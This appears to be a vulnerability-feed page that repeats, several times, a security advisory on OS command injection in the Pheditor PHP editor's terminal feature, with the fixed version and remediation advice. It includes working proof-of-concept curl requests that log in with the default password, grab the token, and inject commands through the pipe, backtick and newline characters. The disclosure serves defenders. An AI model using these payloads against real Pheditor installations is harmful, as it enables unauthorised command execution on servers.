### Summary The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to `shell_exec()`. After the fix for GHSA-9643-6xjp-vx57 (which added `$` to the blocklist), the characters `|` (single pipe), `` ` `` (backtick), and the newline byte (`0x0A`) remain unblocked. An authenticated user with the `terminal` permission (enabled by default) can leverage any of these to bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: Pheditor 2.0.1+ The terminal handler receives `$_POST['command']` and passes it to `shell_exec()` at `pheditor.php:586`: ```php $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` The blocklist at `pheditor.php:557` checks for `&`, `;`, `||`, and `$`, but does not block `|`, `` ` ``, or newline (`0x0A`): ```php if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } ``` The `TERMINAL_COMMANDS` prefix check at `pheditor.php:566-573` only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix. **Bypass 1 — Single pipe `|`:** The filter checks for `||` but not single `|`. Payload `ls | id` passes both the blocklist and the whitelist (starts with `ls`). The shell executes: `cd '<dir>' && ls | id && echo \ ; pwd`, running `id`. **Bypass 2 — Backtick `` ` ``:** Backtick is not in the blocklist. Payload `` echo `id` `` passes the blocklist and whitelist (starts with `echo`). The shell executes `id` inside backtick substitution. **Bypass 3 — Newline `0x0A`:** A literal newline byte is not in the blocklist. Payload `ls\ntouch /tmp/proof` (where `\n` is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command. ### PoC **Environment:** Any system running PHP 8.x with pheditor.php deployed and `shell_exec()` enabled. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Authenticate** (default password `admin`): ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') ``` **Bypass 1 (pipe `|`):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls | id" \ --data-urlencode "dir=" ``` Expected: `{"error":false,"message":"OK","result":"uid=... gid=...\n",...}` — `id` output proves RCE. **Bypass 2 (backtick):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Bypass 3 (newline 0x0A):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode $'command=ls\nid' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Control (blocked command without bypass):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=whoami" \ --data-urlencode "dir=" ``` Expected: `{"error":true,"message":"Command not allowed..."}` — allowlist enforced. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact OS Command Injection (CWE-78). Any authenticated Pheditor user with the `terminal` permission (enabled by default) can bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed `$()` substitution but three additional shell metacharacters remain unblocked. **Attacker privileges:** Authenticated user (PR:L). Combined with default password `admin`, effectively PR:N. **Impact:** Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services). **Suggested remediation:** Parse the command into executable + arguments, validate the executable against `TERMINAL_COMMANDS` with exact match, pass each argument through `escapeshellarg()`, or use `proc_open()` with an argument array to avoid shell interpretation entirely.
### Summary The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to `shell_exec()`. After the fix for GHSA-9643-6xjp-vx57 (which added `$` to the blocklist), the characters `|` (single pipe), `` ` `` (backtick), and the newline byte (`0x0A`) remain unblocked. An authenticated user with the `terminal` permission (enabled by default) can leverage any of these to bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: Pheditor 2.0.1+ The terminal handler receives `$_POST['command']` and passes it to `shell_exec()` at `pheditor.php:586`: ```php $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` The blocklist at `pheditor.php:557` checks for `&`, `;`, `||`, and `$`, but does not block `|`, `` ` ``, or newline (`0x0A`): ```php if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } ``` The `TERMINAL_COMMANDS` prefix check at `pheditor.php:566-573` only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix. **Bypass 1 — Single pipe `|`:** The filter checks for `||` but not single `|`. Payload `ls | id` passes both the blocklist and the whitelist (starts with `ls`). The shell executes: `cd '<dir>' && ls | id && echo \ ; pwd`, running `id`. **Bypass 2 — Backtick `` ` ``:** Backtick is not in the blocklist. Payload `` echo `id` `` passes the blocklist and whitelist (starts with `echo`). The shell executes `id` inside backtick substitution. **Bypass 3 — Newline `0x0A`:** A literal newline byte is not in the blocklist. Payload `ls\ntouch /tmp/proof` (where `\n` is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command. ### PoC **Environment:** Any system running PHP 8.x with pheditor.php deployed and `shell_exec()` enabled. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Authenticate** (default password `admin`): ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') ``` **Bypass 1 (pipe `|`):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls | id" \ --data-urlencode "dir=" ``` Expected: `{"error":false,"message":"OK","result":"uid=... gid=...\n",...}` — `id` output proves RCE. **Bypass 2 (backtick):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Bypass 3 (newline 0x0A):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode $'command=ls\nid' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Control (blocked command without bypass):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=whoami" \ --data-urlencode "dir=" ``` Expected: `{"error":true,"message":"Command not allowed..."}` — allowlist enforced. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact OS Command Injection (CWE-78). Any authenticated Pheditor user with the `terminal` permission (enabled by default) can bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed `$()` substitution but three additional shell metacharacters remain unblocked. **Attacker privileges:** Authenticated user (PR:L). Combined with default password `admin`, effectively PR:N. **Impact:** Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services). **Suggested remediation:** Parse the command into executable + arguments, validate the executable against `TERMINAL_COMMANDS` with exact match, pass each argument through `escapeshellarg()`, or use `proc_open()` with an argument array to avoid shell interpretation entirely.
Update pheditor/pheditor to 2.0.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection affects pheditor/pheditor (composer). Severity is high. ### Summary The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to `shell_exec()`. After the fix for GHSA-9643-6xjp-vx57 (which added `$` to the blocklist), the characters `|` (single pipe), `` ` `` (backtick), and the newline byte (`0x0A`) remain unblocked. An authenticated user with the `terminal` permission (enabled by default) can leverage any of these to bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: Pheditor 2.0.1+ The terminal handler receives `$_POST['command']` and passes it to `shell_exec()` at `pheditor.php:586`: ```php $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` The blocklist at `pheditor.php:557` checks for `&`, `;`, `||`, and `$`, but does not block `|`, `` ` ``, or newline (`0x0A`): ```php if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } ``` The `TERMINAL_COMMANDS` prefix check at `pheditor.php:566-573` only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix. **Bypass 1 — Single pipe `|`:** The filter checks for `||` but not single `|`. Payload `ls | id` passes both the blocklist and the whitelist (starts with `ls`). The shell executes: `cd '<dir>' && ls | id && echo \ ; pwd`, running `id`. **Bypass 2 — Backtick `` ` ``:** Backtick is not in the blocklist. Payload `` echo `id` `` passes the blocklist and whitelist (starts with `echo`). The shell executes `id` inside backtick substitution. **Bypass 3 — Newline `0x0A`:** A literal newline byte is not in the blocklist. Payload `ls\ntouch /tmp/proof` (where `\n` is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command. ### PoC **Environment:** Any system running PHP 8.x with pheditor.php deployed and `shell_exec()` enabled. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Authenticate** (default password `admin`): ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') ``` **Bypass 1 (pipe `|`):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls | id" \ --data-urlencode "dir=" ``` Expected: `{"error":false,"message":"OK","result":"uid=... gid=...\n",...}` — `id` output proves RCE. **Bypass 2 (backtick):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Bypass 3 (newline 0x0A):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode $'command=ls\nid' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Control (blocked command without bypass):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=whoami" \ --data-urlencode "dir=" ``` Expected: `{"error":true,"message":"Command not allowed..."}` — allowlist enforced. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact OS Command Injection (CWE-78). Any authenticated Pheditor user with the `terminal` permission (enabled by default) can bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed `$()` substitution but three additional shell metacharacters remain unblocked. **Attacker privileges:** Authenticated user (PR:L). Combined with default password `admin`, effectively PR:N. **Impact:** Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services). **Suggested remediation:** Parse the command into executable + arguments, validate the executable against `TERMINAL_COMMANDS` with exact match, pass each argument through `escapeshellarg()`, or use `proc_open()` with an argument array to avoid shell interpretation entirely.
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<2.0.6 | 2.0.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pheditor/pheditor to 2.0.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection affects pheditor/pheditor (composer). Severity is high. ### Summary The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to `shell_exec()`. After the fix for GHSA-9643-6xjp-vx57 (which added `$` to the blocklist), the characters `|` (single pipe), `` ` `` (backtick), and the newline byte (`0x0A`) remain unblocked. An authenticated user with the `terminal` permission (enabled by default) can leverage any of these to bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: Pheditor 2.0.1+ The terminal handler receives `$_POST['command']` and passes it to `shell_exec()` at `pheditor.php:586`: ```php $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` The blocklist at `pheditor.php:557` checks for `&`, `;`, `||`, and `$`, but does not block `|`, `` ` ``, or newline (`0x0A`): ```php if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } ``` The `TERMINAL_COMMANDS` prefix check at `pheditor.php:566-573` only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix. **Bypass 1 — Single pipe `|`:** The filter checks for `||` but not single `|`. Payload `ls | id` passes both the blocklist and the whitelist (starts with `ls`). The shell executes: `cd '<dir>' && ls | id && echo \ ; pwd`, running `id`. **Bypass 2 — Backtick `` ` ``:** Backtick is not in the blocklist. Payload `` echo `id` `` passes the blocklist and whitelist (starts with `echo`). The shell executes `id` inside backtick substitution. **Bypass 3 — Newline `0x0A`:** A literal newline byte is not in the blocklist. Payload `ls\ntouch /tmp/proof` (where `\n` is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command. ### PoC **Environment:** Any system running PHP 8.x with pheditor.php deployed and `shell_exec()` enabled. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Authenticate** (default password `admin`): ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') ``` **Bypass 1 (pipe `|`):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls | id" \ --data-urlencode "dir=" ``` Expected: `{"error":false,"message":"OK","result":"uid=... gid=...\n",...}` — `id` output proves RCE. **Bypass 2 (backtick):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Bypass 3 (newline 0x0A):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode $'command=ls\nid' \ --data-urlencode "dir=" ``` Expected: Same `id` output in response. **Control (blocked command without bypass):** ```bash curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=whoami" \ --data-urlencode "dir=" ``` Expected: `{"error":true,"message":"Command not allowed..."}` — allowlist enforced. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact OS Command Injection (CWE-78). Any authenticated Pheditor user with the `terminal` permission (enabled by default) can bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed `$()` substitution but three additional shell metacharacters remain unblocked. **Attacker privileges:** Authenticated user (PR:L). Combined with default password `admin`, effectively PR:N. **Impact:** Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services). **Suggested remediation:** Parse the command into executable + arguments, validate the executable against `TERMINAL_COMMANDS` with exact match, pass each argument through `escapeshellarg()`, or use `proc_open()` with an argument array to avoid shell interpretation entirely.
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<2.0.6 | 2.0.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard